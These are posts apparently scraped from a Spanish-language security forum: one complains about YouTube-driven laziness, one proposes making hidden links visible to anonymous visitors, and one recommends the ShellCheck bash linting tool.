¿Soy el único al que le ofenden este tipo de posts? Parece que con ver un vídeo en YouTube nos damos por satisfechos y no profundizamos en hablar de ningún tema.
Llevo en foros desde hace 10 años, leyendo a Anthrax desde CPH, siguiendo paso a paso los tutoriales de Vic_Thor, Ricardo Narvaja, etc.
Sin embargo parece que YouTube contamina la comunidad, volviéndola perezosa.

Da la sensación de que no se leen los papers "porque ya saldrá la película".
#7
Hola. Cuando leo el feed del foro en RSSOwl siempre me disgusta encontrarme con cosas como lo que muestro.
Mi consulta es: ¿Podría dejarse eso a decisión del usuario que publique el post? Un porcentaje de los anónimos que entran buscando algo se registran para leer links y luego abandonan la cuenta. Otro porcentaje cierra el navegador y se va a otra parte. Y un porcentaje muy bajo se registra y participa en el foro. Yo me registré finalmente tras casi un año de seguir el blog. Lo hubiera hecho antes si el foro no estuviese tan limitado para los anónimos.
O añadir algún tag que no oculte el link, como [publicurl] o algo así, para que se pueda publicar "en abierto".
Creo que el efecto de eso es que se pierde la atención de gente que, a base de acudir a este foro a informarse "en modo ninja", termine registrándose para participar en él. Y por otro lado se consigue captar usuarios nuevos de los de "OLA USO NMAP PARA JAKEAR FEIBUK PERO NO FUNSIONA POFABOGLACIAS".
Es una propuesta con el objetivo de aumentar la actividad en el foro. A mí me gustaría que se mostrasen los links de, por lo menos, mis posts.
¿Vosotros qué opináis?

EDIT: ¿Alguien podría moverme esto a "Sugerencias"? No vi el subforo antes de escribir estas líneas.
#8
Hoy en el feed RSS de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta vi esta herramienta online que nos ayuda a buscar fallos o problemas en scripts en bash.
Es una manera de tener un aviso que nos marque dónde estamos metiendo la pata sin tener que repasar todo el código de principio a fin, que al final acaba siendo una tarea que puede traer dolor de cabeza.
Está escrito en Haskell, funciona directamente en nuestro navegador entrando en su página: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Además es Open Source. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. (Thanks to No tienes permitido ver los links. Registrarse o Entrar a mi cuenta).

Cita de: Lydecker Black
ShellCheck is a static analysis and linting tool for sh/bash scripts. It's mainly focused on handling typical beginner and intermediate level syntax errors and pitfalls where the shell just gives a cryptic error message or strange behavior, but it also reports on a few more advanced issues where corner cases can cause delayed failures.

Haskell source code is available on GitHub!
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta